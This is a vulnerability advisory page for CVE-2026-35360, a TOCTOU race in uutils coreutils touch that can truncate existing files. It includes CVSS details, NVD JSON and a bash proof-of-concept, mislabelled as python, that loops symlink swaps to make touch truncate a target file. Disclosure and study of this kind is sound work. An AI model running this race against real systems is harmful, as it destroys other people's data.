Security Vulnerability Report
中文
CVE-2026-35360 CVSS 6.3 MEDIUM

CVE-2026-35360

Published: 2026-04-22 17:16:39
Last Modified: 2026-04-24 19:02:12

Description

The touch utility in uutils coreutils is vulnerable to a Time-of-Check to Time-of-Use (TOCTOU) race condition during file creation. When the utility identifies a missing path, it later attempts creation using File::create(), which internally uses O_TRUNC. An attacker can exploit this window to create a file or swap a symlink at the target path, causing touch to truncate an existing file and leading to permanent data loss.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:* - VULNERABLE
uutils coreutils (Issue #10019修复前)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-35360 TOCTOU in uutils touch # This script attempts to win the race condition by swapping a file # with a symlink to a target file between the check and use. TARGET="target_file" IMPORTANT_FILE="important_data.txt" # Setup: Create the important file echo "Critical Data" > $IMPORTANT_FILE echo "Starting exploitation attempt..." # Loop to increase chances of hitting the race window while true; do # Clean up rm -f $TARGET # Start uutils touch in background (Victim) # Note: Requires precise timing to hit the gap between check and create touch $TARGET & PID=$! # Attack: Swap target with a symlink to the important file # This must happen after touch checks for existence but before File::create rm -f $TARGET ln -s $(pwd)/$IMPORTANT_FILE $TARGET # Wait for touch to finish wait $PID # Check if exploitation succeeded (file truncated) if [ ! -s $IMPORTANT_FILE ]; then echo "[+] Exploitation successful: $IMPORTANT_FILE has been truncated!" break fi # Restore important file for next attempt echo "Critical Data" > $IMPORTANT_FILE done

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35360", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:38.673", "lastModified": "2026-04-24T19:02:11.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The touch utility in uutils coreutils is vulnerable to a Time-of-Check to Time-of-Use (TOCTOU) race condition during file creation. When the utility identifies a missing path, it later attempts creation using File::create(), which internally uses O_TRUNC. An attacker can exploit this window to create a file or swap a symlink at the target path, causing touch to truncate an existing file and leading to permanent data loss."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:*", "matchCriteriaId": "4A9AF9E4-E17C-48AD-8051-B49998618839"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/issues/10019", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/uutils/coreutils/issues/10019", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}